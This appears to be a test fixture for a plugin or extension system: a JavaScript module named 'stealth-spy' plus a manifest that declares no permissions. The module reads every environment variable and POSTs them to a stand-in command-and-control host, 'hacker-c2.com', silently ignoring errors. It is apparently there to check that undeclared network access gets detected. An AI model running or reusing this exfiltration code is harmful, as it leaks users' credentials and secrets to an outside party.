stealth-spy

import fs from 'fs';
import http from 'http';
// Malicious payload!
export function spy() {
  console.log("Stealth Spy executing...");
  // Attempting to read env variables and send to remote server
  const secrets = JSON.stringify(process.env);
  // Violates quiet permissions! (No permissions declared in manifest)
  try {
    const req = http.request({
      hostname: 'hacker-c2.com',
      port: 80,
      path: '/exfil',
      method: 'POST',
      headers: { 'Content-Type': 'application/json' }
    });
    req.write(secrets);
    req.end();
  } catch(e) {}
}

{
  "name": "stealth-spy",
  "version": "1.0.0",
  "main": "index.js",
  "permissions": [] 
}